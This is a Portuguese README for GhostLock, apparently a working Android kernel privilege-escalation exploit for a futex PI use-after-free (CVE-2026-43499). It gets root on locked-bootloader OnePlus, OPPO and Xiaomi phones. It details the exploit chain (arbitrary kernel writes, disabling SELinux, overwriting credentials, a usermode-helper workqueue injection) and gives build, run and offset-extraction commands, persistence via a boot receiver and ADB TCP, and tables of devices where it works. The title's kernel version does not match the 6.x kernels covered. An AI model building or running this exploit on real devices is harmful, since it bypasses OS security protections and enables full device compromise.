
Adaptador GhostLock (CVE-2026-43499) para kernel Android 4.19.152-perf+
Exploit de kernel para dispositivos OnePlus/OPPO/realme com bootloader bloqueado. Obtém root + instalação do KernelSU sem desbloquear o bootloader ou modificar a imagem de boot. Deteção automática, em tempo de execução, da versão do kernel com tabela de offsets multi-dispositivos.
CVE-2026-43499 — Futex PI (Priority Inheritance) Use-After-Free
Afeta os kernels Linux 2.6.39 ~ 7.1. Corrigido no mainline 7.1 (commit 3bfdc63936dd). O Android GKI 6.12.x permanece vulnerável.
A syscall pselect6 copia dados de fd_set para a stack do kernel. Quando combinada com o mecanismo de waiter do futex PI, um stack frame libertado pode ser reaproveitado como estrutura rt_mutex_waiter. O rebalanceamento da rb-tree durante a travessia da cadeia PI escreve, então, valores controlados em endereços arbitrários do kernel.
| Dispositivo | SoC | Kernel | Notas |
|---|---|---|---|
| OnePlus 15T (PLZ110) | SM8845 | 6.12.38-...-ab14552068 | Mesmo kernel do Ace 6T. Verificado no QEMU: SP diff=-64. |
A sobreposição de stack do pselect só funciona quando o rt_mutex_waiter libertado fica dentro da região controlável pelo utilizador do buffer stack_fds. Onde o waiter cai é determinado pela saída do compilador (PGO + LTO), não pela versão do kernel. Consulte Layout da Stack para obter detalhes.
Dois caminhos de root, selecionados automaticamente com base nas capacidades do dispositivo:
Requer off_ashmem_misc_fops != 0 (ashmem em C com miscdevice estático em BSS).
PI write (mode=4) → redirect miscdevice fops to fake fops (via W0 pi_tree)
configfs r/w established
→ pipe physrw (1-byte precise kernel r/w)
→ SELinux enforcing = 0 (single byte, no policycap corruption)
→ UMH: inject work_struct into system_unbound_wq
kernel executes /data/local/tmp/a/e --umh as UID 0
→ root script → ksud late-load → KSU installed
Vantagens sobre o Caminho B:
selinux_state.policycap (corrige problemas de rede no OnePlus 13)Atualmente disponível em: OnePlus 13 (kernel 6.6, ashmem em C). Não disponível em dispositivos com ashmem em Rust (GKI 6.12) — o miscdevice é alocado no heap, sem endereço previsível em tempo de compilação.
Utilizado quando os offsets de UMH ou os misc_fops de ashmem em C não estão disponíveis.
Write 1 (mode=1) → SELinux enforcing = 0
(low byte of kernel ptr = 0x00, 8-byte write)
Write 2 (mode=2) → task->cred = init_cred
(uid=0, all capabilities)
Root shell → ksud late-load (KernelSU LKM)
→ su -c load_policy (fix SELinux policycap)
→ dynamic manager registration
App (seccomp) → Write 1 (no perf needed)
→ mini-adb connect TCP (port from /data/local/tmp/a/adb_port, default 5555)
→ adb shell: full exploit (perf works, no seccomp)
→ root → KSU → network fix
BOOT_COMPLETED → BootCompletedReceiver
├─ su available → skip (soft reboot / already rooted)
└─ no root → GhostlockService → setsid exploit --bootstrap
Com NFDS=320, a função core_sys_select do kernel aloca um buffer stack_fds de 256 bytes:
stack_fds: 0 5 10 14 | 15 20 25 29
├─in─┤─out─┤─ex──┤ ├res_in┤res_out┤res_ex┤
◄── USER CONTROLLED ──►│◄── KERNEL ZEROED ──►
O exploit escreve campos falsos do waiter (task, lock) nos bitmaps de entrada do fd_set. Para que funcione, os campos task e lock do waiter têm de cair na zona controlável (palavras 0-14).
Ace 6T ✅ (waiter at word 2):
░░████████████████░░│░░░░░░░░░░░░░░░░░░
▲waiter t l │
task/lock controllable
RMX5070 ❌ (waiter at word 13):
░░░░░░░░░░░░░████│██████████████░░░░░░
▲ │ t l
waiter task/lock ZEROED
Regra de viabilidade: palavra do waiter + 11 (offset de lock em rt_waiter_node) tem de ser ≤ 14. A palavra máxima viável do waiter é 3.
A posição do waiter é determinada pelo layout do stack frame do compilador (perfis de otimização PGO + LTO + BOLT), que varia por ramo de SoC. A mesma versão de kernel pode ter layouts diferentes em SoCs diferentes.
Todas as escritas de kernel passam pelo alias do mapa linear da imagem:
data_addr(x) = PAGE_OFFSET + (kernel_phys_load - PHYS_OFFSET) + (x - KIMAGE_TEXT_BASE)
O bootloader escolhe kernel_phys_load, pelo que varia por SoC e não está em boot.img nem na DT. Campo por dispositivo em struct kernel_offsets; 0 = usar o valor predefinido de target.h.
| SoC | kernel_phys_load |
|---|---|
| SM8845 (Ace 6T, 15T) | 0xa8000000 |
| SM8750 (OnePlus 13, OPPO Pad 4 Pro) | 0xa8000000 |
| SM8850 (OnePlus 15, Xiaomi 17) | 0xc7800000 |
Um valor errado falha silenciosamente — a escrita ainda atinge RAM mapeada, por isso não há crash nem efeito. Não o confunda com um problema de PSELECT_SHIFT. Leia-o numa unidade com root do mesmo modelo (Kernel code começa em _stext; _text fica 0x10000 abaixo):
su -c 'grep -i "Kernel code" /proc/iomem' # c7810000-... -> 0xc7800000
Kernels diferentes colocam o waiter em posições diferentes dentro da zona controlável. Use PSELECT_SHIFT para ajustar:
# Default (Ace 6T + OnePlus 15, 6.12): shift=0
/data/local/tmp/a/e
# OnePlus 13 (6.6): shift=-2
PSELECT_SHIFT=-2 /data/local/tmp/a/e
# Override kernel_phys_load for new SoCs (when /proc/iomem is not accessible):
KPHYS=0xc7800000 /data/local/tmp/a/e
A palavra do waiter do check_feasibility.py não é fiável: a aritmética de frames está correta, mas os offsets de struct que infere a partir de zero-stores não estão (no OnePlus 15 dá a palavra 3; o valor medido é a palavra 2). Um shift errado custa um kernel panic por tentativa, por isso meça-o numa unidade com root:
echo 'p:ds do_select fdsin=+0(%x1)' >> /sys/kernel/tracing/kprobe_events
echo 'p:rw rt_mutex_wait_proxy_lock waiter=%x2' >> /sys/kernel/tracing/kprobe_events
# trigger FUTEX_CMP_REQUEUE_PI, then:
# PSELECT_SHIFT = ((waiter & 0x3fff) - (fdsin & 0x3fff)) / 8 - 2
NDK=/path/to/android-ndk
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
-O2 -Wall -Isrc/core -Isrc/devices -DTARGET_CONFIG_H="target.h" \
src/core/main.c src/core/util.c src/core/slide.c \
src/core/fops.c src/core/pipe_physrw.c src/core/root.c \
src/core/miniadb.c src/core/umh_root.c \
-o ghostlock -fPIE -pie -pthread
O GhostLock fornece apenas root. A instalação do KernelSU depende do ksud — um binário que contém módulos kernelsu.ko embutidos para cada versão de KMI. O script de root localiza o ksud no dispositivo e executa ksud late-load --kmi android16-6.12.
Sem o ksud, o exploit obtém root (uid=0), mas o KSU não será instalado e o
sunão persistirá.
# Enable ADB TCP (use any port)
adb tcpip 5555
# Push exploit binary and ADB key
adb push ghostlock /data/local/tmp/a/e && adb shell chmod 755 /data/local/tmp/a/e
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# If using a non-default ADB port (e.g. 23946):
adb shell "echo 23946 > /data/local/tmp/a/adb_port"
Após o primeiro jailbreak bem-sucedido, persist.adb.tcp.port é definido via resetprop — os arranques seguintes são totalmente automáticos.
/data/local/tmp/a/e # Full exploit (adb shell)
/data/local/tmp/a/e --bootstrap # Phone standalone (app context)
/data/local/tmp/a/e --write1 # SELinux disable only
PSELECT_SHIFT=-2 /data/local/tmp/a/e # Override stack layout shift
Importante: Execute nos primeiros 30 segundos após o arranque para obter a melhor fiabilidade de temporização do KernelSnitch.
Apenas é necessário o boot.img — sem root, sem exigir acesso ao dispositivo.
# 1. Extract kernel
python -c "import struct; d=open('boot.img','rb').read(); open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"
# 2. Global symbols (kallsyms)
python tools/extract_target.py # 28 offsets, auto-validated
# 3. Struct fields (BTF)
python tools/extract_btf.py kernel # 57 offsets, auto-validated
# 4. Add to offsets.h, rebuild
O exploit principal é agnóstico em relação ao dispositivo. A adaptação pode exigir:
VA_BITS diferente (48 vs 39) → atualizar o layout de memória em target.hkernel_phys_load diferente → ler de /proc/iomem ou usar a variável de ambiente KPHYS=common.hPSELECT_SHIFT diferente → determinar através de teste de kprobe no QEMUSTRUCT_OFFSETS_6_6 ou STRUCT_OFFSETS_6_12 na entrada do dispositivoO caminho de root UMH (call_usermodehelper) requer:
off_system_unbound_wq e off_call_usermodehelper_exec_work a partir do kallsymsoff_ashmem_misc_fops = ashmem_misc + 0x10 (apenas ashmem em C, miscdevice.fops em BSS)Apenas para fins autorizados de investigação de segurança e educacionais.
| Dispositivo | SoC | Kernel | Estado |
|---|
| OnePlus Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14275539 | A funcionar |
| OnePlus Ace 6T (PLR110) | SM8845 | 6.12.38-...-ab14552068 | A funcionar |
| OnePlus 15 (CPH2749) | SM8850 | 6.12.23-...-ab14541642 | A funcionar |
| Xiaomi 17 (pudding) | SM8850 | 6.12.23-...-abogki463945075 | A funcionar |
| Xiaomi 17 (pudding) | SM8850 | 6.12.69-...-abogki514973465 | A funcionar (atualização de agosto de 2026) |
| OnePlus 13 (IN2060) | SM8750 | 6.6.89-...-abogki446052083 | A funcionar (PSELECT_SHIFT=-2) |
| OPPO Pad 4 Pro | SM8750 | 6.6.89-...-ab14358676 | A funcionar (PSELECT_SHIFT=-2) |
| Dispositivo | SoC | Kernel | Motivo |
|---|
| OPPO Find X9 Ultra | SM8750 | 6.12.58-android16-6 | O PGO elimina o frame de do_futex → SP diff=+32, palavra do waiter=14. Não existe shift seguro. |
| OPPO Find X7 | — | 6.1.157 | GKI 6.1: waiter na palavra 13 (todos os dispositivos OPLUS/GKI 6.1) |
| realme RMX5070 | SM6650 | 6.1.141 | GKI 6.1: waiter na palavra 13 |
| realme RMX3852 | SM8635 | 6.1.141 | Mesmo ramo 6.1 do RMX5070 |
| OnePlus 13R / Ace 5 | SM8650 | 6.1.x | Mesmo ramo 6.1 |
| OnePlus 12 | SM8650 | 6.1.141 | GKI 6.1: do_futex inline por PGO, palavra do waiter=13/19 |
| OPPO Pad 5 (OPD2502) | MT6878 | 6.1.134 | Mesmo ramo 6.1 |
| OPPO PKW110 | — | 5.15.180 | frame de do_futex 0x140 (4,5x o normal) → palavra do waiter=-29, inalcançável |
| Motorola Edge 60 Fusion | MT6878 | 6.1.145 | GKI 6.1: waiter na palavra 13 (não-OPLUS, mesmo resultado) |
| iQOO Z9 5G | — | 5.15.178 | frame de do_futex demasiado grande, waiter inalcançável. Não é um dispositivo OPLUS (vivo). |
| Método | Passos |
|---|
| APK ReSukiSU (recomendado) | Instale o ReSukiSU ou este fork. O lançamento oficial inclui libksud.so. |
| Lançamento do CI | Descarregue ksud-aarch64-linux-android.zip a partir do ReSukiSU CI |
| Fonte | Contagem | Método |
|---|
| kallsyms (símbolos globais) | 28 | extract_target.py |
| BTF (campos de struct) | 57 | extract_btf.py |
| Derivados (mesma struct, utilização diferente) | 9 | Automático |
| Constantes (valores fixos) | 12 | Sem necessidade de extração |
| Ficheiro | Descrição |
|---|
src/core/main.c | Entrada do exploit, Write 1/2, caminho UMH, bootstrap, script de root |
src/core/fops.c | Rota pselect, mecanismo de escrita PI, fase CFI |
src/core/util.c | Heap spray, kernelsnitch, drenagem de slab, configuração do payload |
src/core/pipe_physrw.c | Leitura/escrita de memória física baseada em buffers de pipe (melhora a r/w via configfs) |
src/core/umh_root.c | Root UMH via injeção em workqueue + handler --umh |
src/core/miniadb.c | Mini cliente ADB (TCP + autenticação RSA) |
src/core/common.h | Parâmetros de temporização, macros |
src/core/target.h | Layout de memória, predefinições de campos de struct (6.12) |
src/core/runtime_struct_offsets.h | Substituição de campos de struct por dispositivo (6.6 vs 6.12) |
src/devices/offsets.h | Agrega todas as tabelas de offsets de dispositivos + macros STRUCT_OFFSETS_* |
src/devices/<device>/offsets.h | Entradas de offsets de kernel por dispositivo |
src/core/slide.c | Fuga de endereço de kernel SLIDE |
src/core/root.c | Configuração da shell de root (patch direto de credenciais via pipe physrw) |
tools/extract_target.py | Extração de offsets a partir do kallsyms |
tools/extract_btf.py | Extração de offsets de struct a partir do BTF |
tools/check_feasibility.py | Verificador de viabilidade do layout da stack |